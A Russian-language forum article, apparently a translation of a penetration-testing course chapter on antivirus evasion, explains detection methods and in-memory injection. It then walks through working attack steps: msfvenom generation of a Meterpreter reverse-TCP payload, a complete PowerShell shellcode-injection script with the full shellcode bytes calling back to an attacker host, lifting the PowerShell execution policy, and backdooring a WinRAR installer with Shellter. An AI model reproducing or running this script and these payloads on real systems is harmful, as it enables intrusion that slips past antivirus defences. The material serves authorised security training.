• 🚨 Ещё можно успеть на курс «OSINT: технология боевой разведки» от Академии Кодебай

    🔍 Изучите методы разведки с использованием открытых источников (OSINT) для проведения успешных атак.
    🛠️ Освойте ключевые инструменты, такие как Maltego, TheHarvester и другие.
    🧪 Пройдите практические лабораторные работы, имитирующие реальную разведку.
    🧠 Развивайте навыки, которые помогут вам стать экспертом в области информационной безопасности.

    Запись открыта до 23 мая Подробнее о курсе ...

Статья PWK-(17) Обход антивируса

disclaimer: Данный материал является свободным (приближенным к оригиналу) переводом методического материала PWK, в частности Глава 17. Обход антивируса. В связи с закрытым форматом распространения данного материала убедительная просьба ознакомившихся с ней не осуществлять свободное распространение содержимого статьи, чтобы не ставить под удар других участников форума. Приятного чтения.

Введение

Пытаясь скомпрометировать целевую машину, злоумышленники часто отключают или иным образом обходят антивирусное программное обеспечение, установленное на этих системах. Как пентестеры мы должны понимать и уметь имитировать эти методы, чтобы продемонстрировать эту потенциальную угрозу.

В этой главе обсудим назначение антивирусного программного обеспечения и расскажем о том, как оно используется в большинстве компаний. Рассмотрим различные методы, используемые для обнаружения вредоносного ПО, и изучим некоторые из доступных инструментов, которые позволят нам обойти антивирусное ПО на целевых машинах.

Что такое антивирусное программное обеспечение?

- это тип приложения, предназначенный для предотвращения, обнаружения и удаления вредоносного ПО. Изначально оно было разработано для простого удаления компьютерных вирусов. Однако с развитием других типов вредоносного ПО, антивирусное программное обеспечение стало включать в себя дополнительные средства защиты, такие как брандмауэры, сканеры веб-сайтов и многое другое.

Методы определения вредоносного кода

Для того, чтобы продемонстрировать эффективность различных антивирусных продуктов, мы начнем со сканирования популярного пейлоада Meterpreter. Используя msfvenom, сгенерируем стандартный портативный исполняемый файл, содержащий пейлоад, в данном случае простой TCP реверс шелл.

Формат используется в операционных системах Windows для исполняемых и объектных файлов. Формат PE представляет собой структуру данных Windows, которая подробно описывает информацию, необходимую для управления упакованным исполняемым кодом, включая необходимые динамические библиотеки, импорт и экспорт таблиц API и т.д.

Код:
kali@kali:~$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f exe > binary.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes
Листинг 1 - Создание вредоносного PE файла, содержащего meterpreter шелл

Далее запустим проверку на вирусы на данном исполняемом файле. Вместо установки большого количества антивирусных приложений на нашу локальную машину, мы можем загрузить наш файл в , который просканирует его на предмет обнаружения опасного содержимого различными антивирусными продуктами.

VirusTotal удобен, но он генерирует хэш для каждой уникальной заявки, который затем передается всем участвующим AV вендорам. Поэтому будьте осторожны при отправке своих пейлоадов, так как хэш, по сути, считается публичным с момента первой отправки.

Результататы сканирования показаны ниже:

methods_of_detecting_malicious_code_figure_263.png

Рисунок 1: Результаты сканирования meterpreter-пейлоада на Virustotal

Основываясь на этих результатах, видно, что многие антивирусные продукты определили файл как вредоносный. Прежде чем углубляться в методы обхода, необходимо сначала понять, какие методы используют производители антивирусов для обнаружения вредоносного кода.

Определение по сигнатурам

Антивирусная сигнатура - это непрерывная последовательность байт внутри вредоносной программы, которая однозначно идентифицирует ее. Антивирусное определение по сигнатурам в основном считается методом "черного списка". Другими словами, файловая система проверяется на наличие известных сигнатур вредоносного ПО и, если они обнаружены, файлы-нарушители помещаются в карантин. Это означает, что с помощью подходящих инструментов можно довольно легко обойти антивирусное программное обеспечение, которое полагается на этот метод обнаружения. В частности, можно обойти обнаружение, основанное на сигнатурах, просто изменив или запутав содержимое известного вредоносного файла, чтобы нарушить последовательность идентифицирующих байтов (или сигнатуры).

В зависимости от типа и качества тестируемого антивирусного ПО, иногда можно обойти антивирусное ПО, просто изменив пару безобидных строк внутри двоичного файла с верхнего на нижний регистр. Однако не в каждом случае все так просто.

Поскольку производители антивирусного программного обеспечения используют различные сигнатуры и проприетарные технологии для обнаружения вредоносного ПО, а также каждый производитель постоянно обновляет свои базы данных, обычно трудно придумать решение для обхода вредоносного ПО. Довольно часто этот процесс основан на методе проб и ошибок в тестовой среде.

По этой причине во время пентеста необходимо определить наличие, тип и версию развернутого антивирусного ПО, прежде чем рассматривать стратегию обхода. Если клиентская сеть или система использует антивирусное ПО, то перед загрузкой файлов на целевую машину необходимо собрать как можно больше информации и скопировать конфигурацию в тестовом окружении для тестирования и обхода антивируса.

Эвристическй и поведенческий анализ

Для устранения проблем, связанных с обнаружением на основе сигнатур, производители антивирусов ввели дополнительные методы обнаружения для повышения эффективности своих продуктов.

- это метод обнаружения, основанный на различных правилах и алгоритмах для определения того, считается ли действие вредоносным. Часто это достигается с помощью выполнения инструкций в двоичном файле или с помощью попытки декомпиляции и последующего анализа исходного кода. Идея заключается в поиске различных шаблонов и вызовов программ (в отличие от простых последовательностей байтов), которые считаются вредоносными.

В качестве альтернативы, динамически анализирует поведение бинарного файла. Это часто достигается путем выполнения данного файла в эмулируемой среде, такой как небольшая виртуальная машина, и поиском поведения или действий, которые считаются вредоносными.

Поскольку эти методы не требуют сигнатур вредоносного ПО, их можно использовать для более эффективной идентификации неизвестного вредоносного ПО или вариаций известных вредоносных программ. Учитывая, что производители антивирусов используют различные реализации, когда дело доходит до эвристики и поведенческого анализа, каждый из антивирусов будет отличаться в плане того, какой код считается вредоносным.

Стоит отметить, что большинство разработчиков антивирусов используют комбинацию этих методов обнаружения для достижения более высокого уровня обнаружения.

Обход обнаружения антивирусом

Вообще говоря, обход антивируса подразделяется на две широкие категории: "на диске" и "в памяти". Обход "на диске" сосредоточен на модификации вредоносных файлов, физически хранящихся на диске, в попытке уклониться от антивирусного обнаружения. Учитывая зрелость сканирования файлов антивирусами, современные вредоносные программы часто пытаются работать "в памяти", полностью избегая записи на диск и тем самым снижая вероятность их обнаружения. В следующих разделах мы дадим очень общий обзор некоторых из техник, используемых в обоих этих подходах. Обратите внимание, что подробная информация об этих методиках выходит за рамки данной главы.

Обход антивируса "на диске"

Чтобы начать обсуждение обхода (антивируса), сначала рассмотрим различные приемы, используемые для обфусцирования файлов, хранящихся на физическом диске.

Упаковщики

Современная обфускация вредоносных программ на диске может принимать различные формы. Один из самых первых способов избежать обнаружения - это использование . Учитывая высокую стоимость дискового пространства и низкую скорость работы сети в первые дни Интернета, упаковщики изначально были спроектированы так, чтобы просто уменьшить размер исполняемого файла. В отличие от современных методов сжатия "zip", упаковщики генерируют исполняемый файл, который не только меньше по размеру, но и функционально эквивалентен совершенно новой двоичной структуре. Полученный файл имеет новую сигнатуру и, как результат, может эффективно обойти старые и более простые AV сканеры. Несмотря на то, что некоторые современные вредоносные программы используют вариацию этой технологии, использование и других популярных упаковщиков само по себе не является достаточным для обхода современных AV-сканеров.

Обфускаторы

Обфускаторы реорганизуют и изменяют код таким образом, чтобы затруднить реверс-инжиниринг. Это включает в себя замену инструкций на семантически эквивалентные, вставку неактуальных инструкций или , разделение или переупорядочивание функций и так далее. Хотя этот метод в первую очередь используется разработчиками программного обеспечения для защиты их интеллектуальной собственности, он также вполне эффективен против сигнатурного антивирусного обнаружения.

Шифраторы

Приложения типа "шифратор" криптографически изменяет исполняемый код, добавляя к нему заглушку (код) для расшифровки, которая восстанавливает исходный код после выполнения. Эта расшифровка происходит в памяти, оставляя на диске только зашифрованный код. Шифрование стало основополагающим в современных вредоносных программах, как один из наиболее эффективных методов обхода антивируса.

Протектор ПО

Для эффективного обхода антивируса требуется сочетание всех предыдущих методов в дополнение к другим передовым методам, таким как антиреверсинг, антиотладка, обнаружение эмуляции виртуальных машин и так далее. В большинстве случаев программные протекторы были разработаны для законных целей, но также могут быть использованы для обхода обнаружения антивирусным ПО.

Большинство из этих методов могут показаться простыми на высоком уровне, но на самом деле они довольно сложны. Из-за этого в настоящее время существует мало активно поддерживаемых свободных инструментов, которые обеспечивают приемлемый уровень обхода антивируса. Среди коммерческих инструментов , в частности, может успешно использоваться для обхода антивирусных программ.

Обход антивируса "в памяти"

, также известная как PE Injection, является популярной методикой, используемой для обхода антивирусных продуктов. Вместо того, чтобы обфусцировать вредоносный бинарный файл, создавать новые блоки или изменять существующие права доступа, эта техника фокусируется на манипулировании оперативной памятью. Одним из основных преимуществ этой техники является то, что она не записывает файлы на диск, что является одним из основных направлений работы большинства антивирусных продуктов.

Существует , которые не записывают файлы на диск. Хоть и будут даны краткие объяснения по некоторым из них, в этой главе будут подробно рассмотрены лишь инъекцию "в памяти" с использованием PowerShell, в то время, как иные пентестеры полагаются на низкоуровневое программирование на таких языках, как C/C++, что выходит за пределы данной главы.

Remote Process Memory Injection

Эта техника пытается внедрить пейлоад в другой действующий PE файл, который не является вредоносным. Наиболее распространенный способ сделать это - использовать набор . Сначала мы используем функцию для получения доступного к целевому процессу, к которому у нас есть права доступа. После получения HANDLE мы выделяем память в контексте этого процесса, вызывая Windows API типа . После выделения памяти в удаленном процессе мы копируем вредоносный пейлоад в только что выделенную память с помощью . После успешного копирования пейлоад обычно выполняется в памяти в отдельном потоке с использованием API .

Это звучит сложно, но в следующем примере будет использоваться аналогичная техника, используя PowerShell для выполнения большей части сложной работы, и выполняя очень похожую, но упрощенную атаку, нацеленную на локальный экземпляр powershell.exe.

Reflective DLL Injection

В отличие от обычной DLL-инъекции, которая подразумевает загрузку вредоносной DLL с диска с помощью API, данная техника пытается загрузить DLL, .

Основная проблема реализации данной методики заключается в том, что LoadLibrary не поддерживает загрузку DLL из памяти. Более того, операционная система Windows также не предоставляет никаких API, которые могли бы справиться с этим. Злоумышленники, решившие использовать эту технику, должны написать свою собственную версию API, которая не полагается на дисковые DLL.

Использование пустотелых процессов

При использовании для обхода антивирусного ПО злоумышленники сначала запускают не вредоносный процесс в приостановленном состоянии. После запуска образ процесса удаляется из памяти и заменяется вредоносным исполняемым образом. В конце концов, процесс возобновляется и вместо законного процесса выполняется вредоносный код.

Встраивание инструкций в код

Как следует из названия, эта техника включает в себя модификацию памяти и введение hook-а (инструкции, которые перенаправляют выполнение кода) в функцию, чтобы направить поток выполнения на наш вредоносный код. После выполнения нашего вредоносного кода, поток вернется обратно в модифицированную функцию и возобновит выполнение; все будет выглядеть так, как будто был выполнен только исходный код.

Обход антивируса: практический пример

Теперь, когда у нас есть общее понимание используемых в антивирусном программном обеспечении методов обнаружения и соответствующих методов обхода, можем сфокусироваться на практическом примере.

Поиск универсального решения для обхода всех антивирусных продуктов является сложным и трудоемким, если не невозможным. Учитывая временные ограничения во время обычного пентеста, гораздо эффективнее нацелиться на конкретный антивирусный продукт, развернутый в сети клиента.

Для целей этого модуля установим Avira Free Antivirus версии 15.0.34.16 на Windows 10. Инсталлятор Avira можно найти в каталоге C:\Tools\antivirus_evasion\. После установки можно проверить настройки, найдя "Start Avira Antivirus" в строке поиска Windows 10:

av_evasion_practical_txample_figure_264.png

Рисунок 2: Поиск "Start Avira Antivirus" в строке поиска.

Запуск этого приложения отобразит центр управления Avira, где можно проверить, включена ли функция Real-Time Protection, и если нет, то можно включить ее вручную:

av_evasion_practical_txample_figure_265.png

Рисунок 3: Avira Control Center

Сначала необходимо убедиться, что антивирусный продукт работает так, как должен. Используем созданный ранее meterpreter пейлоад и просканируем его с помощью Avira.

После передачи вредоносного PE файла на наш клиент Windows попытаемся запустить его и наблюдать за результатами.

Код:
C:\Users\offsec\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 56B9-BB74

 Directory of C:\Users\offsec\Desktop
 
02/26/2018  10:20 AM    <DIR> .
02/26/2018  10:20 AM    <DIR> ..
02/26/2018  06:16 AM            73,802 binary.exe
02/26/2018  05:55 AM               799 Windows 10 Update Assistant.lnk
               3 File(s)         75,647 bytes
               3 Dir(s)   4,521,566,208 bytes free

C:\Users\offsec\Desktop> binary.exe
The system cannot execute the specified program.
Листинг 2 - Avira блокирует исполнение вредоносного PE файла

В данном случае выдается сообщение об ошибке, указывающее на то, что система не может выполнить указанный файл. Сразу же после этого Avira выводит всплывающее уведомление, информирующее о том, что файл был помечен как вредоносный и помещен в карантин.

av_evasion_practical_txample_figure_266.png

Рисунок 4: Всплывающее окно Avira Free Antivirus

Инъекция с помошью PowerShell "в памяти"

В зависимости от среды, в которой мы работаем и в зависимости от того, на сколько она ограничена, мы, возможно, сможем обойти антивирусные продукты .

В следующем примере будет использована методика, аналогичную описанной в разделе Remote Process Memory Injection. Основное отличие заключается в том, что мы будем нацелены на текущий выполняющийся процесс, которым в нашем случае будет интерпретатор PowerShell.

Очень мощной особенностью PowerShell является его . Это позволяет реализовать процесс инъекции в память в скрипте PowerShell. Одним из основных преимуществ выполнения скрипта, а не PE, является тот факт, что производителям антивирусов сложно определить, является ли скрипт вредоносным или нет, так как он выполняется внутри интерпретатора, а сам скрипт не является исполняемым кодом. Тем не менее, пожалуйста, имейте в виду, что некоторые антивирусные продукты лучше других и с большим успехом .

Более того, даже если скрипт помечен как вредоносный, его можно легко исправить. Антивирусное программное обеспечение часто будет смотреть на названия переменных, комментарии и логику, которые могут быть изменены без необходимости перекомпилировать что-либо заново.

В списке ниже, представлен основной шаблон скрипта, который выполняет инъекцию в память:

Код:
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

$winFunc =
  Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;

[Byte[]];
[Byte[]]$sc = <place your shellcode here>;

$size = 0x1000;

if ($sc.Length -gt 0x1000) {$size = $sc.Length};

$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);

for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};

$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
Листинг 3 - Скрипт инъекции пейлоада в память для PowerShell

Скрипт начинается с импорта и из kernel32.dll, а также memset из msvcrt.dll. Эти функции позволят выделить память, создать поток выполнения и записать произвольные данные в выделенную память соответственно. Вновь обратите внимание, что мы выделяем память и выполняем новый поток в текущем процессе (powershell.exe), а не во внешнем.

Код:
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
Листинг 4 - Импорт Windows APIs в PowerShell

Затем скрипт выделяет блок памяти с помощью VirtualAlloc, берет каждый байт пейлоада, хранящегося в массиве байтов $sc, и записывает его в наш вновь выделенный блок памяти с помощью memset:

Код:
[Byte[]]$sc = <place your shellcode here>;

$size = 0x1000;

if ($sc.Length -gt 0x1000) {$size = $sc.Length};

$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);

for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};
Листинг 5 - Выделение памяти и запись пейлоада с помощью Windows APIs в PowerShell

В качестве последнего шага, наш записанный в память пейлоад выполняется в отдельном потоке с помощью CreateThread.

Код:
$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
Листинг 6 - Вызов пейлоада с использованием CreateThread

В нашем скрипте отсутствует пейлоад, который мы можем сгенерировать с помощью msfvenom. Создадим пейлоад идентичный тому, который использовался в предыдущих тестах для согласованности:

Код:
kali@kali:~$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f powershell
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of powershell file: 1627 bytes
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0xa,0x68,0xac,0x10,0x74,0x8b,0x68,0x2,0x0,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0xff,0x4e,0x8,0x75,0xec,0xe8,0x61,0x0,0x0,0x0,0x6a,0x0,0x6a,0x4,0x56,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x0,0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x0,0x56,0x53,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x22,0x58,0x68,0x0,0x40,0x0,0x0,0x6a,0x0,0x50,0x68,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0xc,0x24,0xe9,0x71,0xff,0xff,0xff,0x1,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x0,0x53,0xff,0xd5
Листинг 7 - Создание PowerShell-совместимого пейлоада с помощью msfvenom

Полученный результат можно скопировать в конечный скрипт после переименования переменной $buf из msfvenom в $sc, как того требует скрипт. Наш полный скрипт выглядит следующим образом:

Код:
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtrlpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;

[Byte[]];
[Byte[]] $sc = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0xa,0x68,0xac,0x10,0x74,0x8b,0x68,0x2,0x0,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0xff,0x4e,0x8,0x75,0xec,0xe8,0x61,0x0,0x0,0x0,0x6a,0x0,0x6a,0x4,0x56,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x0,0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x0,0x56,0x53,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x22,0x58,0x68,0x0,0x40,0x0,0x0,0x6a,0x0,0x50,0x68,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0xc,0x24,0xe9,0x71,0xff,0xff,0xff,0x1,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x0,0x53,0xff,0xd5;

$size = 0x1000;
if ($sc.Length -gt 0x1000) {$size = $sc.Length};
$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};
$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
Листинг 8 - Готовый скрипт для инъекции в память

По результатам сканирования VirusTotal только 2 из 59 AV продуктов обнаружили наш скрипт. Это довольно многообещающе.

powershell_in-memory_injection_figure_267.png

Рисунок 5: Результат проверки VirusTotal для скрипта инъекции в память PowerShell

Более того, проверка нашего скрипта антивирусным движком Avira на машине под управлением Windows показывает, что он не распознается как вредоносный:

powershell_in-memory_injection_figure_268.png

Рисунок 6: Сканируем наш вредоносный скрипт PowerShell с помощью Avira

К сожалению, когда мы пытаемся запустить наш вредоносный скрипт, появляется ошибка, которая ссылается на Execution Policies нашей системы, которая мешает запуску скрипта:

Код:
C:\Users\offsec\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 56B9-BB74

 Directory of C:\Users\offsec\Desktop

02/27/2018  05:16 AM    <DIR> .
02/27/2018  05:16 AM    <DIR> ..
02/27/2018  05:09 AM             2,454 av_test.ps1
02/26/2018  05:55 AM               799 Windows 10 Update Assistant.lnk
               3 File(s)          4,299 bytes
               3 Dir(s)   5,306,019,840 bytes free

C:\Users\offsec\Desktop> powershell .\av_test.ps1
.\av_test.ps1 : File C:\Users\offsec\Desktop\av_test.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1
+ .\av_test.ps1
+ ~~~~~~~~~~~~~
    + CategoryInfo : SecurityError: (:) [], PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess
Листинг 9 - Попытка хапуска скрипта и связанная с ней ошибка Execution Policies

Краткий обзор документации Microsoft по политикам выполнения PowerShell (связанный с сообщением об ошибке) показывает, что эти политики устанавливаются для каждого пользователя, а не для всей системы.

Помните, что, как и всё остальное в Windows, параметры политики выполнения PowerShell могут быть заданы одним или несколькими объектами . В этих случаях может потребоваться поиск дополнительных обходных векторов.

Давайте попробуем просмотреть и изменить политику для нашего текущего пользователя. Обратите внимание, что в данном случае мы решили изменить политику, а не обходить ее на основе каждого сценария, что может быть достигнуто с помощью флага -ExecutionPolicy Bypass для каждого скрипта, когда он запускается.

Код:
C:\Users\offsec\Desktop> powershell
Windows PowerShell
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\offsec\Desktop> Get-ExecutionPolicy -Scope CurrentUser
Undefined

PS C:\Users\offsec\Desktop> Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser

PS C:\Users\offsec\Desktop> Get-ExecutionPolicy -Scope CurrentUser
Unrestricted
Листинг 10 - Изменяем ExecutionPolicy для нашего пользователя

Из приведенного выше листинга видно, что мы успешно изменили политику для текущего пользователя на Unrestricted. Перед выполнением скрипта запустим метерпретер хэндлер на атакующей машине Кали для взаимодействия с шеллом:

Код:
msf exploit(multi/handler) > show options

Module options (exploit/multi/handler):

Name  Current Setting  Required  Description
----  ---------------  --------  -----------

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, proces
LHOST     10.11.0.4        yes       The listen address
LPORT     4444             yes       The listen port

Exploit target:

Id Name
-- ----

0 Wildcard Target


msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.11.0.4:4444
Листинг 11 - Настройка хэндлера для взаимодействия с шеллом meterpreter

Теперь попробуем запустить скрипт PowerShell:

Код:
PS C:\Users\admin\Desktop> .\av_test.ps1
IsPublic IsSerial Name                                         BaseType
-------- -------- ----                                         --------
True     True     Byte[]                                       System.Array
139591680
139591681
139591682
139591683
139591684
139591685
139591686
139591687
139591688
139591689
139591690
139591691
139591692
139591693
139591694
139591695
139591696
139591697
....
Листинг 12 - Запуск скрипта PowerShell

Скрипт работает без проблем, и мы получаем шелл Meterpreter на атакующей машине:

Код:
[*] Sending stage (179779 bytes) to 10.11.0.22
[*] Meterpreter session 1 opened (10.11.0.4:4444 -> 10.11.0.22:49546)

meterpreter > getuid
Server username: CLIENT251\offsec
Листинг 13 - Получаем meterpreter шелл на атакующей машине

Это означает, что мы эффективно обошли обнаружение Avira на нашей цели.

В зрелых организациях могут быть реализованы , которые будут пытаться анализировать содержимое скриптов, выполняемых в операционной системе. В зависимости от конфигурации этих систем и того, что они считают вредоносным, скрипты, подобные вышеприведенным, возможно, потребуют изменения или адаптации для целевого окружения.

Shellter

- инструмент для динамической инъекции шеллкода и один из самых популярных бесплатных инструментов, способный обойти антивирусное ПО. Он использует ряд новых и продвинутых методов, чтобы по сути сделать из обычного исполняемого файла бэкдор с использованием вредоносного шелл пейлоада.

Хотя подробности техник, которые использует Shellter, выходят за рамки этой главы, он, по сути, проводит тщательный анализ целевого PE-файла и путей его выполнения. Затем он определяет, куда он может внедрить шеллкод, не полагаясь на традиционные техники внедрения, которые легко перехватываются антивирусами. К ним относятся изменение разрешений секций PE файла, создание новых секций и так далее.

Наконец, Shellter пытается использовать существующие для поиска функций, которые будут использоваться для выделения памяти, передачи и выполнения нашей полезной нагрузки.

Немного изучив теорию, давайте попытаемся обойти антивирусное программное обеспечение, используя Shellter. Можно установить Shellter в Кали с помощью apt:

Код:
kali@kali:~$ apt-cache search shellter
shellter - Dynamic shellcode injection tool and dynamic PE infector

kali@kali:~$ sudo apt install shellter
Листинг 14 - Установка shellter в Kali Linux​

Поскольку Shellter предназначен для работы на операционных системах Windows, мы также установим , эмулятор, способный запускать win32-приложения на нескольких POSIX-совместимых операционных системах.

Код:
kali@kali:~$ apt install wine
Листинг 15 - Установка wine в Kali Linux​

После того, как все будет установлено, запуск shellter в терминале обеспечит нас новой консолью, работающей под wine.

shellter_figure_269.png

Рисунок 7: Консоль shellter​

Shellter может работать как в режиме Auto, так и в режиме Manual. В ручном режиме инструмент запустит PE, который мы хотим использовать для инъекции, и позволит нам манипулировать им на более детализированном уровне. Можно использовать этот режим, чтобы тщательно настроить процесс инъекции в случае, если автоматически выбранные опции не сработают.

Однако в этом примере мы запустим Shellter в автоматическом режиме, выбрав 'A' в меню.

Далее необходимо выбрать целевой PE. Shellter будет анализировать и изменять поток выполнения для инъекции и запуска пейлоада. Для этого примера в качестве целевого PE мы будем использовать 32-битный пробный исполняемый инсталлятор для популярной .

Перед тем, как анализировать и каким-либо образом изменять исходную PE, Shellter сначала создаст резервную копию файла:

shellter_figure_270.png

Рисунок 8: Выбор целевого PE файла в shellter и создание его бекапа​

Как только Shellter найдет подходящее место для инъекции пейлоада, он спросит нас, хотим ли мы включить , который попытается восстановить поток выполнения PE после того, как наш пейлоад будет выполнен. Выберем режим Stealth Mode, так как мы бы хотели, чтобы программа установки WinRAR вела себя нормально, чтобы избежать любых подозрений.

